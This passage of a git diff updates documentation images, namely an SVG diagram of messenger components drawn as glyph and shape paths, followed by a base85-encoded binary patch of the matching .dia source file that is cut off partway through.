0" style="stroke:none"/></symbol><symbol id="h" overflow="visible"><path d="M7.125-7.469c-.086-.562-.32-.984-.703-1.265-.375-.282-.902-.422-1.578-.422-.668 0-1.211.117-1.625.344-.418.218-.625.546-.625.984 0 .418.16.715.484.89.332.168.988.383 1.969.641 1.094.281 1.91.531 2.453.75.54.211.96.508 1.266.89.3.387.453.93.453 1.626 0 .918-.383 1.695-1.14 2.328-.75.637-1.759.953-3.017.953-1.312 0-2.34-.273-3.078-.828C1.242-1.141.785-1.977.61-3.094l1.75-.265c.094.718.364 1.261.813 1.625.445.355 1.07.53 1.875.53.758 0 1.344-.16 1.75-.484.414-.32.625-.71.625-1.171 0-.313-.094-.563-.281-.75a1.773 1.773 0 0 0-.72-.422c-.28-.102-.917-.274-1.905-.516-1.47-.344-2.438-.766-2.907-1.266a2.584 2.584 0 0 1-.703-1.812c0-.863.344-1.57 1.031-2.125.688-.563 1.614-.844 2.782-.844 1.238 0 2.203.246 2.89.735.688.48 1.098 1.199 1.235 2.156Zm0 0" style="stroke:none"/></symbol><symbol id="i" overflow="visible"><path d="M12.844 0h-1.906v-6.734H3.5V0H1.61v-14.313H3.5v5.876h7.438v-5.876h1.906Zm0 0" style="stroke:none"/></symbol><symbol id="j" overflow="visible"><path d="M10.328 0H8.484c-.18-.32-.304-.75-.375-1.281C6.93-.258 5.66.25 4.297.25c-1.094 0-1.961-.27-2.594-.813-.625-.55-.937-1.28-.937-2.187 0-.852.3-1.555.906-2.11.613-.562 1.672-.937 3.172-1.124l1.64-.235A9.58 9.58 0 0 0 8-6.579c0-.53-.016-.905-.047-1.124-.031-.219-.133-.442-.297-.672-.156-.238-.414-.426-.765-.563-.344-.144-.813-.218-1.407-.218-.761 0-1.359.14-1.796.422-.438.273-.743.793-.907 1.562l-1.719-.234c.188-1.063.672-1.86 1.454-2.39.78-.532 1.859-.798 3.234-.798 1.238 0 2.148.184 2.734.547.582.367.938.809 1.063 1.328.133.524.203 1.196.203 2.016v2.36c0 1.448.023 2.417.078 2.905.063.493.227.97.5 1.438ZM8-4.563v-.64c-.918.312-2.043.558-3.375.734-1.324.18-1.984.742-1.984 1.688 0 .469.175.86.53 1.172.364.312.88.468 1.548.468.863 0 1.625-.257 2.281-.78.664-.52 1-1.4 1-2.641Zm0 0" style="stroke:none"/></symbol><symbol id="k" overflow="visible"><path d="M3.094 0h-1.75v-14.313h1.75Zm0 0" style="stroke:none"/></symbol><symbol id="l" overflow="visible"><path d="M9.75-10.36 5.844 0h-1.64L.265-10.36h1.859l2.14 6c.395 1.126.633 1.891.72 2.298h.03c.102-.415.286-.973.548-1.672l2.39-6.625Zm0 0" style="stroke:none"/></symbol><symbol id="m" overflow="visible"><path d="M5.563-10.594c1.394 0 2.55.461 3.468 1.375.926.906 1.39 2.2 1.39 3.875 0 2.043-.5 3.485-1.5 4.328C7.93-.172 6.814.25 5.564.25 4.25.25 3.108-.18 2.14-1.047 1.18-1.922.703-3.297.703-5.172c0-1.82.461-3.18 1.39-4.078.938-.895 2.095-1.344 3.47-1.344Zm0 9.39c1 0 1.757-.366 2.28-1.109.52-.738.782-1.718.782-2.937 0-1.29-.297-2.266-.89-2.922-.587-.656-1.31-.984-2.173-.984-.898 0-1.632.336-2.203 1-.574.668-.859 1.664-.859 2.984 0 1.313.29 2.305.875 2.969.582.668 1.313 1 2.188 1Zm0 0" style="stroke:none"/></symbol><symbol id="n" overflow="visible"><path d="M3-9.031c.656-1.04 1.64-1.563 2.953-1.563 1.363 0 2.438.496 3.219 1.485.789.98 1.187 2.261 1.187 3.843 0 1.688-.437 3.032-1.312 4.032C8.18-.242 7.113.25 5.844.25c-1.117 0-2.008-.441-2.672-1.328h-.063v5.062H1.36v-14.343h1.594v1.328Zm2.719 7.828c.82 0 1.5-.336 2.031-1.016.54-.687.813-1.703.813-3.047 0-1.27-.262-2.242-.782-2.921C7.27-8.876 6.61-9.22 5.797-9.22c-.836 0-1.524.383-2.063 1.14-.53.763-.796 1.747-.796 2.954 0 1.293.253 2.273.765 2.938.52.656 1.192.984 2.016.984Zm0 0" style="stroke:none"/></symbol><symbol id="p" overflow="visible"><path d="M7.5 0H5.75v-11.203c-.887.836-2.063 1.543-3.531 2.125v-1.703c2.02-.969 3.398-2.172 4.14-3.61H7.5Zm0 0" style="stroke:none"/></symbol><symbol id="q" overflow="visible"><path d="M14.219 0h-2.375c-1.43-2.25-2.32-3.629-2.672-4.14A7.78 7.78 0 0 0 8.078-5.47c-.375-.375-.73-.61-1.062-.703-.336-.094-.778-.14-1.329-.14H3.5V0H1.61v-14.313h6.327c.864 0 1.586.06 2.172.172.594.106 1.11.336 1.547.688.446.355.785.805 1.016 1.344.238.543.36 1.109.36 1.703 0 1.086-.345 1.953-1.032 2.61-.68.655-1.668 1.073-2.969 1.25v.046c.946.418 1.844 1.29 2.688 2.61ZM3.5-8.016h4.063c.82 0 1.468-.066 1.937-.203a2.09 2.09 0 0 0 1.14-.828c.29-.406.438-.86.438-1.36 0-.644-.242-1.195-.719-1.655-.468-.458-1.25-.688-2.343-.688H3.5Zm0 0" style="stroke:none"/></symbol><symbol id="r" overflow="visible"><path d="M9.828-3.578c-.23 1.312-.75 2.281-1.562 2.906A4.45 4.45 0 0 1 5.5.25C4 .25 2.836-.242 2.016-1.234 1.19-2.223.78-3.531.78-5.156c0-1.344.235-2.422.703-3.235.477-.812 1.07-1.379 1.782-1.703a5.2 5.2 0 0 1 2.234-.5c1.063 0 1.973.278 2.734.828.758.555 1.227 1.368 1.407 2.438l-1.704.266c-.18-.696-.464-1.22-.859-1.563-.387-.352-.887-.531-1.5-.531-.98 0-1.726.351-2.234 1.047-.512.687-.766 1.656-.766 2.906 0 1.281.25 2.273.75 2.969.5.687 1.219 1.03 2.156 1.03.75 0 1.336-.21 1.766-.64.438-.437.71-1.086.828-1.953Zm0 0" style="stroke:none"/></symbol><symbol id="s" overflow="visible"><path d="M3.094 0h-1.75v-10.36h1.75Zm0-12.328h-1.75v-1.985h1.75Zm0 0" style="stroke:none"/></symbol><symbol id="t" overflow="visible"><path d="M13.36 0h-2.141L9.547-4.36H3.562L1.984 0h-2l5.5-14.313h2.032ZM8.968-5.86c-1.18-3.1-1.84-4.863-1.985-5.28a21.682 21.682 0 0 1-.5-1.688h-.046a17.446 17.446 0 0 1-.735 2.687L4.11-5.859Zm0 0" style="stroke:none"/></symbol><symbol id="u" overflow="visible"><path d="M5.375-.016c-.523.102-.96.157-1.313.157-.773 0-1.335-.137-1.687-.407a1.69 1.69 0 0 1-.64-1.03c-.075-.415-.11-.993-.11-1.735V-9H.344v-1.36h1.281v-2.578L3.375-14v3.64h1.766V-9H3.375v6.063c0 .523.05.89.156 1.109.114.219.39.328.828.328.25 0 .508-.023.782-.078Zm0 0" style="stroke:none"/></symbol><symbol id="v" overflow="visible"><path d="M10.094 0H.609c0-.813.282-1.629.844-2.453.57-.82 1.629-1.86 3.172-3.11.938-.75 1.773-1.539 2.516-2.375.75-.832 1.125-1.664 1.125-2.5 0-.726-.258-1.328-.766-1.796-.512-.47-1.156-.704-1.938-.704-.792 0-1.453.247-1.984.735-.531.48-.805 1.2-.812 2.156L.953-10.25c.113-1.332.594-2.352 1.438-3.063.843-.718 1.91-1.078 3.203-1.078 1.406 0 2.5.391 3.281 1.172.79.781 1.188 1.719 1.188 2.813 0 .918-.336 1.851-1 2.797-.657.937-1.97 2.195-3.938 3.765-1.043.836-1.73 1.547-2.063 2.14h7.032Zm0 0" style="stroke:none"/></symbol></defs><path d="M0 0h642v542H0z" style="fill:#fff;fill-opacity:1;stroke:none"/><path d="M26 21h32v27H26Zm0 0" style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M65.57 221h83.239v63.707H65.57ZM65.57 227v-6c-3.312 0-6 2.688-6 6ZM148.809 227h6c0-3.313-2.684-6-6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M59.57 227h95.239v51.707H59.57ZM65.57 278.707h-6c0 3.313 2.688 6 6 6ZM148.809 278.707v6c3.316 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M29.229 32h4.161M29.229 35.185h4.161M29.229 32a.3.3 0 0 0-.3.3M33.69 32.3a.3.3 0 0 0-.3-.3M28.929 32.3v2.585M33.69 32.3v2.585M28.929 34.885a.3.3 0 0 0 .3.3M33.39 35.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="74.926" y="261.852"/><use xlink:href="#b" x="88.266" y="261.852"/><use xlink:href="#c" x="99.398" y="261.852"/><use xlink:href="#d" x="110.531" y="261.852"/><use xlink:href="#b" x="121.664" y="261.852"/><use xlink:href="#e" x="132.797" y="261.852"/></g><path d="M207 221h228v63.707H207ZM207 227v-6c-3.313 0-6 2.688-6 6ZM435 227h6c0-3.313-2.688-6-6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M201 227h240v51.707H201ZM207 278.707h-6c0 3.313 2.688 6 6 6ZM435 278.707v6c3.313 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M36.3 32h11.4M36.3 35.185h11.4M36.3 32a.3.3 0 0 0-.3.3M48 32.3a.3.3 0 0 0-.3-.3M36 32.3v2.585M48 32.3v2.585M36 34.885a.3.3 0 0 0 .3.3M47.7 35.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#f" x="303.773" y="261.852"/><use xlink:href="#g" x="317.113" y="261.852"/><use xlink:href="#h" x="328.246" y="261.852"/></g><path d="M169.555 441h123.238v63.707H169.555ZM169.555 447v-6c-3.313 0-6 2.688-6 6ZM292.793 447h6c0-3.313-2.688-6-6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1"/><path d="M163.555 447h135.238v51.707H163.555ZM169.555 498.707h-6c0 3.313 2.687 6 6 6ZM292.793 498.707v6c3.312 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1"/><path d="M34.428 43h6.162M34.428 46.185h6.162M34.428 43a.3.3 0 0 0-.3.3M40.89 43.3a.3.3 0 0 0-.3-.3M34.128 43.3v2.585M40.89 43.3v2.585M34.128 45.885a.3.3 0 0 0 .3.3M40.59 46.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#i" x="196.133" y="481.852"/><use xlink:href="#j" x="210.586" y="481.852"/><use xlink:href="#c" x="221.719" y="481.852"/><use xlink:href="#d" x="232.852" y="481.852"/><use xlink:href="#k" x="243.984" y="481.852"/><use xlink:href="#b" x="248.438" y="481.852"/><use xlink:href="#e" x="259.57" y="481.852"/></g><path d="M31.31 29.793v1.657" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m31.06 31.45.25.5.25-.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M33.69 33.593h1.76" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m35.45 33.843.5-.25-.5-.25Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M48 33.593h2.45" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m50.45 33.843.5-.25-.5-.25Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M32.31 23.854a1 1 0 1 1-2 0 1 1 0 0 1 2 0" style="fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M28.674 27.15h5.27v2.589c-1.054-.432-1.58-.432-2.634 0-1.055.431-1.581.431-2.636 0v-2.59" style="fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#b" x="58.227" y="154.457"/><use xlink:href="#c" x="69.359" y="154.457"/><use xlink:href="#l" x="80.492" y="154.457"/><use xlink:href="#b" x="90.492" y="154.457"/><use xlink:href="#k" x="101.625" y="154.457"/><use xlink:href="#m" x="106.078" y="154.457"/><use xlink:href="#n" x="117.211" y="154.457"/><use xlink:href="#b" x="128.344" y="154.457"/><use xlink:href="#o" x="139.477" y="154.457"/><use xlink:href="#p" x="145.043" y="154.457"/></g><path d="M507 221h83.238v63.707H507ZM507 227v-6c-3.313 0-6 2.688-6 6ZM590.238 227h6c0-3.313-2.687-6-6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M501 227h95.238v51.707H501ZM507 278.707h-6c0 3.313 2.688 6 6 6ZM590.238 278.707v6c3.313 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M51.3 32h4.162M51.3 35.185h4.162M51.3 32a.3.3 0 0 0-.3.3M55.762 32.3a.3.3 0 0 0-.3-.3M51 32.3v2.585M55.762 32.3v2.585M51 34.885a.3.3 0 0 0 .3.3M55.462 35.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#q" x="509.148" y="261.852"/><use xlink:href="#b" x="523.602" y="261.852"/><use xlink:href="#r" x="534.734" y="261.852"/><use xlink:href="#b" x="544.734" y="261.852"/><use xlink:href="#s" x="555.867" y="261.852"/><use xlink:href="#l" x="560.32" y="261.852"/><use xlink:href="#b" x="570.32" y="261.852"/><use xlink:href="#e" x="581.453" y="261.852"/></g><path d="M31.31 24.854V26.6" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m31.06 26.6.25.5.25-.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M346.148 441h123.239v63.707H346.148ZM346.148 447v-6c-3.312 0-6 2.688-6 6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1"/><path d="M469.387 447h6c0-3.313-2.688-6-6-6ZM340.148 447h135.239v51.707H340.148ZM346.148 498.707h-6c0 3.313 2.688 6 6 6ZM469.387 498.707v6c3.312 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1"/><path d="M43.257 43h6.162M43.257 46.185h6.162M43.257 43a.3.3 0 0 0-.3.3M49.72 43.3a.3.3 0 0 0-.3-.3M42.957 43.3v2.585M49.72 43.3v2.585M42.957 45.885a.3.3 0 0 0 .3.3M49.42 46.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#t" x="358.801" y="481.852"/><use xlink:href="#n" x="372.141" y="481.852"/><use xlink:href="#n" x="383.273" y="481.852"/><use xlink:href="#k" x="394.406" y="481.852"/><use xlink:href="#s" x="398.859" y="481.852"/><use xlink:href="#r" x="403.313" y="481.852"/><use xlink:href="#j" x="413.313" y="481.852"/><use xlink:href="#u" x="424.445" y="481.852"/><use xlink:href="#s" x="430.012" y="481.852"/><use xlink:href="#m" x="434.465" y="481.852"/><use xlink:href="#c" x="445.598" y="481.852"/></g><path d="m46.338 43-.017-7.265" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m46.571 35.735-.251-.5-.249.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m37.51 35.185-.001 7.265" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m37.259 42.45.25.5.25-.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M53.398 30.325 53.38 32" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m53.648 30.327-.245-.502-.255.497Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M54.415 23.832a1 1 0 1 1-2 0 1 1 0 0 1 2 0" style="fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M50.78 27.128h5.27v2.589c-1.054-.432-1.581-.432-2.635 0-1.054.431-1.581.431-2.635 0v-2.59" style="fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#b" x="500.332" y="154.02"/><use xlink:href="#c" x="511.465" y="154.02"/><use xlink:href="#l" x="522.598" y="154.02"/><use xlink:href="#b" x="532.598" y="154.02"/><use xlink:href="#k" x="543.73" y="154.02"/><use xlink:href="#m" x="548.184" y="154.02"/><use xlink:href="#n" x="559.316" y="154.02"/><use xlink:href="#b" x="570.449" y="154.02"/><use xlink:href="#o" x="581.582" y="154.02"/><use xlink:href="#v" x="587.148" y="154.02"/></g><path d="M53.415 25.382v1.746" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m53.665 25.382-.25-.5-.25.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M27 36.83h30" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-dasharray:.1,.1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M34.865 38.213h5.27v2.59c-1.054-.432-1.581-.432-2.635 0-1.054.43-1.581.43-2.635 0v-2.59" style="fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#b" x="182.035" y="375.723"/><use xlink:href="#c" x="193.168" y="375.723"/><use xlink:href="#l" x="204.301" y="375.723"/><use xlink:href="#b" x="214.301" y="375.723"/><use xlink:href="#k" x="225.434" y="375.723"/><use xlink:href="#m" x="229.887" y="375.723"/><use xlink:href="#n" x="241.02" y="375.723"/><use xlink:href="#b" x="252.152" y="375.723"/><use xlink:href="#o" x="263.285" y="375.723"/><use xlink:href="#p" x="268.852" y="375.723"/></g><path d="M43.652 38.213h5.27v2.59c-1.054-.432-1.581-.432-2.635 0-1.054.43-1.58.43-2.635 0v-2.59" style="fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#b" x="357.777" y="375.723"/><use xlink:href="#c" x="368.91" y="375.723"/><use xlink:href="#l" x="380.043" y="375.723"/><use xlink:href="#b" x="390.043" y="375.723"/><use xlink:href="#k" x="401.176" y="375.723"/><use xlink:href="#m" x="405.629" y="375.723"/><use xlink:href="#n" x="416.762" y="375.723"/><use xlink:href="#b" x="427.895" y="375.723"/><use xlink:href="#o" x="439.027" y="375.723"/><use xlink:href="#v" x="444.594" y="375.723"/></g></svg>
diff --git a/_images/sources/components/messenger/overview.dia b/_images/sources/components/messenger/overview.dia
index 55ee153439eee9f6a420634faaed6a7534132513..b0e2edaeab2e20e690671abb731617453fa0c75e 100644
GIT binary patch
literal 2363
zcmV-B3B>jviwFP!000021MOW)bK|%XzR#~vX|7rrPXbu4y|t5MD~D9FwKF-pC=r&K
zrAQS;+2b7Y+XH}_u|$!2f#BLMaLTSC4R#YCy1x&NZq83Xe_dpwM^&!UBEK0U0LLSh
z&x$0?=QrbjfBE$XG5-1X!%s;X|EPcFWxN>aJMxt|yBR-J)$+%ytEZ<YkUg*BswhF0
zuE9!O{V&e4_)0gr8sB~xjkX0OaTS|uo2zkEmFaX{sZky;)XjJr&;FQ~#X3*Mb*oLg
zS&<dx=rPW2#vkwPF}~V}x!RF)K=v}8t7)m?Ke|OjeMotU=%p%~Vi(I|mFgzd^K!3A
zhaB^JtIej>N;k^qw;z9@AL~cjTzHYy_Mn|gszqGR(|li#9-FKl2n+<qSPur1LPAbC
z`Zgx#tD6q1E*n-|Ijp*Lb+;_as*KZWU*)tYG8N~w*84bHsmm3uW^tzH*r9$obmKm)
zs-mY3)R(`T+qtGYFVp0(<?giTkn)r!)x+IaPs3G9fA%E(F<qt8Otn3InpeGvf9^+o
z^X*vo{c^kGY^bGm;zJ@7Q|x?vn6J}Bt&U8y-8LPP9yZOcj*WV=-KhgpUuvMWRguNd
zs@#bG^n%l)%?sARQm)l_6wj*k@!Q$fm=x3hs9Ck??B^=ZlekPqKa4&VU&k*bL{pG7
zxf%Zp?haP7ds>)wgnOg4EWS@E98EB4c7NY_bP1nMo3cy&^l?7V)J8r7l1(twzpt49
zkWHxheVIm;sm0x_DD!=a&`+1F0_#ThyY<b55bPlPL8bGDs#`ebmkFO1WunSsj}8HX
z^?|5_2t^1xsoQk}M>*(uI#v(G(_IVEZ397TM2EH17i;V4GPhr|;%W8}msO{|A!mCN
zKw=S1E}ccE8Jz%v8zsn?9U*{IZFqzMOc?QMdXBw2#r`PZ5t3N*L&hK$L~@VzNB|NH
zb4CSZ0%0M^o3PI`&rdSXB)Qj<={1;VC($r7?yiiJbiFz>a9B2u%k(YdB-!QjO-+}{
zt<=|Qe1xJk+H{S(UDWQhYpj1it6a~ujy3QB-q^JWDe|gKow+``j~8k7d^7&-%jk2Q
zuSWlj%d&VHk5<*Qp*q@a)<XVLtjkoD+kEW&C)qRBHi8duWZyqS2vZ~xanrf$&D(sQ
zcCrLY?ei#r6i06AnkL&Beu2<UkzTgW^Mz`EwJKjPT2>r~)*NlL*((xbS0pB$L6}(P
zTSKtryh8vm@r%6(2doWP8?g2})_z*A0?-Zwv=j%79TsDWGsaSYFy|9Wd;+bW6x=Am
z7HT1oMAI=E`3GCa-kpND(e7%Ol7PUMBJdO^R0RZnX9)cFI8U;$+#PPY%K?KzJ3SVl
zxHl-?+UNO4nyVHlrp{1o!xU_SCE#-Vz4edB8iBc<Ax4v)A=g@SWaG~mAcVxFt})N=
zRG!!#UDVG5k(&!~M^BsCviT@&o3&>Fb)MYSUZo-UWtI|0$#<E`=ZBG*xvDsd{U>TL
z?_EzXZ40YCK>7BU(SyYRYb;fvjYW({FMri<Vt*F2+>ACiqurbF{@!roiTW{c=4{{u
zMADcU0nD?3lZ`<WjXsE9lgJvjIhUGq`!?{dezr%$Tt*`p_$xK=hK-7I>>Kai%LlUW
z$ko277{IhCw?XTTVKX$OVYhW~zZFBlrr)JaV+Wg-K5TkBKK8dPOP8xQyXMZg4L5`p
z1Hp*!OUyCbXo5ssYeG)!IRz44s`<oFSs$G|C0^z=IV(iNhKz<Ck4^zSRDHz3hKyH*
zK-Hjm8P>az9q$$bRsHN4{k52_?UQcRMr}Y*^pGYQajIV)H#Q#m&6SLBtqDpQnQTcZ
z^|?kY#NmakZK108m_td@S>-tw(|rg}fm{YK-$5?vb&CpO$T5njq?8bb>1E0?y-FJl
zlC3i1Db@!ex#>U7QE{JU*$FD{vHAC!QQwZ0g{khf6x>@Iv{v}^O*Y`}fnGn^Q2C?E
zilrK%Ks$z}9mf4)8ED5b+R-)7^n&~Dp(xY;>WLL+2fa<B2J&n*n!i-(%%76gdTI(q
z)%aqs)lWW;bfsk`_~tWbmcf^tS;l}sNDh%T>(H%Gu@bUqLk^E4P5E8TRQec_cm^XW
zi~u4~NT(e(hX=vll6dF<dj-;zkQz;PufQhpP!mnS5u!sS@ihB+ps7okBWw!3(oI3$
z$mGH2><S7WnLH=dh&vaF+e~&&{ie+uCD16T)8?fnsgewlHt*WIkTxGS3IpYKq};zO
zmsvWCjq?kvd#D1o2oNG@NSz;;b~~4fe}8da@t6TAAu;hT$caYe2t*7ctrS3Z>1M;}
z$#*SXY;T36jmc@qBY|wcudLec)c3Q~YWJ6jp7Lsudy%TCXp+KhQlGY{)@xMGYxB`0
z`&yryXs|KyAu40K`gx$pE13AZPO?33Jxx4U#(Xi{c0ZX2IoG~nJi$JLWkx;+P=mJB
z1TbYG5%Ja1e!W6B2W6BJj#=cJ_BUqVdm#I8xIBPI`$(6&{GM2bb9o*kfI>oTT`H$O
zy^+=gqo~$|$hAJ@SYT6rtJe{}i+DP_*}Vz%nyPPCRa{n{SjLuYe>`Jb$)CHJ;4VeD
z(s$^-yPyX-SL!hgD5Am^yZB9)!GJ`yA};VXqk!5|3WUI36J~noVW{Q_)jXk^C&bQA
z&RD5E4h2}?5IP^Qm<KtRxH728pcFPo19R>-ft2G~lldmxHH%DDkFeD|RM59u&C|;e
zhH9Qr%@eA5-hMR?4zy!v+95#1P@o;5m}j73o)bcnqK}Z|hEscvQ)rwQL>fh$Lu^Bm
zlyOUD_@!j#tdL||HxIOQAz2|V`MTqhk;@inGpae%*8!1p=^o}25&?mw&*c}6Z2ewj
z)+&1O#qIxkp|x`9+sNCx*J9v~gW$!shhMxLA>_2@V$=h%1q^%m#Jq^~EE51DEd73F
zULdOoMOd2e%p<`jRC7{7qPH7Z=wtjsTp`32LR=wyB_zZZ&iRV|gh;?i6gD$LRN>F~
zM93jl=3c=_>f#0ew9IINwWgYv2_U&Cn|SNQtd}7S%q%doz|6vqPhe(e6lr3?Q6Oi5
hoOvW?^?4RQtMc|keWHKnWxTlk@PCO!n;>wE002WWo#g-k

literal 2348
zcmV+{3Dfo;iwFP!000021MOW)bK|%XzR#~vX|7%vPXbu4y|t5MD~D9FwKF-ZC=r&K
zrAQS?+2b7Y+XH}_u|$!2LEzdh$YoWL2D=FmjqmG5H~rJkUl-ZvQI%C%<hNr4;CQ6+
zS&^jq{C52BFTegE#y{VE_$f)_ANB9Nj29z)MP8Ys+wntPFMqtgetLQW*>e@wMG3NW
z1uAv@zc|a{Yu)I2eD`5A+7yt)b!^V9&&G9KrqfleMtQtYx8rF%`(s`ft2`Mut=8>k
zMOKuf$2hwkf4sM!@%38F^_HAHvX}8(O-mL3(Jvb6kCf+#UaGP!cCjp~R5z)gmpe^*
